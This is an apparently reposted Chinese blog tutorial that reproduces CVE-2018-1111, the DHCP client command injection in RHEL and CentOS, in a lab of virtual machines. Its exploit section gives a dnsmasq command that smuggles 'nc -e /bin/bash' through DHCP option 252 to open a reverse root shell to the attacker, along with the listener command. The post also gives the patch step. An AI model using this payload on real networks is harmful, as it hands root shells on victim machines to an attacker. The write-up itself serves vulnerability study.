0×01 前言

2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。

0×02 漏洞影响面

影响版本

  • Red Hat Enterprise Linux Server 6
  • Red Hat Enterprise Linux Server 7
  • CentOS 6
  • CentOS 7

0×03 环境搭建

攻击机:kali linux   ip:192.168.1.14
受害机:centos7    ip:192.168.1.15

 一、配置虚拟网络

打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

将 攻击机 和 受害机 网络配置成仅主机模式:

二、搭建dhcp服务

先在kali下设置一下网络

配置ip
ifconfig eth0 192.168.1.11 netmask 255.255.255.0
配置网管
route add default gw 192.168.1.11

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:

bind-interfacesinterface=eth0except-interface=lodhcp-range=192.168.1.20,192.168.1.30,12hdhcp-option=3,192.168.1.11dhcp-option=6,192.168.1.11log-querieslog-facility=/var/log/dnsmasq.log

参数解释

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间dhcp-option: 表示指定给 DHCP 客户端的选项信息log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

3: 设置网关地址选项6: 设置 DNS 服务器地址选项252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf中的dhcp-range设置:

为客户端分配 192.168.1.20-192.168.1.30/24 这个 ip 地址范围,租约时间为 12h。

  

0×04 命令注入

利用dnsmasq伪造dns服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

  

监听6666端口:

nc -lvp 6666

  重启CentOS的网络服务,然后shell就反弹回来了:

我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

0×05 修复方案

终端下执行

更新dhcpyum -y update dhclient
查看更新日志rpm -qa --changelog dhclient  | grep CVE-2018- Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character

 

转载于:https://www.cnblogs.com/dggsec/p/10162777.html

CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入相关推荐

  1. 【Android 逆向】Android 进程注入工具开发 ( 总结 | 源码编译 | 逆向环境搭建使用 | 使用进程注入工具进行逆向操作 ) ★★★

    文章目录 一.Android 进程注入工具开发系列博客 二.Android 进程注入工具 源码下载编译 三.逆向环境搭建 四.使用注入工具进行逆向操作 1.获取远程进程号 2.注入工具准备 3.注入动 ...

  2. nginx学习笔记-01nginx入门,环境搭建,常见命令

    nginx学习笔记-01nginx入门,环境搭建,常见命令 文章目录 nginx学习笔记-01nginx入门,环境搭建,常见命令 1.nginx的基本概念 2.nginx的安装,常用命令和配置文件 3 ...

  3. “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入

    作为一个自主知识产权发展强国,朝鲜以极为高冷的姿态发展着电子科技行业,还有他们自己的操作系统.这款著名的RedStar OS 3.0名字虽然霸气,但安全性据说实在不怎么样.近日,黑客团队Hacker ...

  4. MS08067/MS10061漏洞靶机环境搭建总结

    MS10-061靶机搭建环境网上并没找到什么资料,做一个总结,为大家提供参考: MS10-061:​打印后台程序服务中可能允许远程执行代码漏洞 准备环境: VMware WINDOWS XP SP3  ...

  5. 漏洞复现----6、Jenkins远程命令执行漏洞(CVE-2018-1000861)

    文章目录 一.Jenkins简介 二.CVE-2018-1000861简介 三.漏洞复现 一.Jenkins简介 Jenkins是一个独立的开源自动化服务器,由JAVA开发. 可用于自动化各种任务,如 ...

  6. java-sec-code环境搭建和简单命令执行分析

    简介 Java Security Code 该项目也可以叫做Java Vulnerability Code(Java漏洞代码). 每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在 ...

  7. ARM裸机环境搭建(U-Boot命令详解)

    个人强烈建议看着命令自己做做~~ 首先是你的开发板上烧写好了U-Boot. 1.引导启动相关命令 1)go 格式: go addr [arg ...] 功能: go命令可以执行应用程序(这里一定要区分 ...

  8. 使用 docker 搭建自己的实验环境——解决很多小伙伴论文复现环境搭建难题

    1. 问题描述 对于论文复现,大多数小伙伴都会遇到很多很多各种各样的问题.尽管我已经尽力回答所有人的留言,甚至为一些小伙伴免费提供了我自己购买的云服务器,但是依然很难解决 "如何让这些代码在 ...

  9. 永恒之蓝(MS17-010)漏洞复现及msf常用渗透命令

    环境部署 靶机:win7(172.168.100.158) 工具机:kali,nessus 攻击步骤 1.nessus扫描靶机 2.根据扫描结果查看靶机漏洞 3.发现靶机存在永恒之蓝(MS17-010 ...

最新文章

  1. python多进程原理_python多进程的详细介绍(附示例)
  2. bulkwrite 批量插入_使用SqlBulkCopy批量插入数据
  3. Netbeans搭建Android环境
  4. iOS 14.5 更新,苹果手表可以解锁 iPhone 了!
  5. 盖茨买下一座城,想建成沙漠中的智慧城市
  6. redis 多实例启动
  7. java 数据类型 date_Java 数据类型之 Date 数据类型
  8. Oracle学习技巧
  9. 无人机动力测试台的应用-测试高转速下的无人机螺旋桨结冰和脱落
  10. 今日头条笔试题 数列
  11. UNDERSTANDING JINJA - 理解Jinja使用语法
  12. Monero GUI Wallet发送交易源码分析
  13. 西游记中金箍棒的来历和巨大威力
  14. [电脑驱动向]笔记本键盘失灵,电脑插耳机没反应,不要着急拿去物理维修,可能是bios驱动需要更新
  15. 多标签分类方法总结——实现方法、评价指标、损失函数
  16. 微信小程序开发之表单验证(WxValidate使用)
  17. bat批处理文件字符替换一例
  18. 一篇搞懂OOA/OOD/OOP的区别
  19. PPT之幻灯片中的大纲选项卡
  20. ACCESS常见的一些问题及解决的方法

热门文章

  1. [IOC]Unity使用
  2. graph driver-device mapper-04libdevmapper基本操作
  3. Hive连接超长Hbase宽表异常
  4. Mysql命令行导入sql数据
  5. QQ卡机问题解决方法
  6. 数据访问模式二:数据集和数据适配器(传统的数据访问模式)
  7. CnForums国庆特别版
  8. Projection with Type Hint用法
  9. 真实集群中Flink命令行各种模式提交wordcount
  10. AttributeError: 'NoneType' object has no attribute '__array_interface__'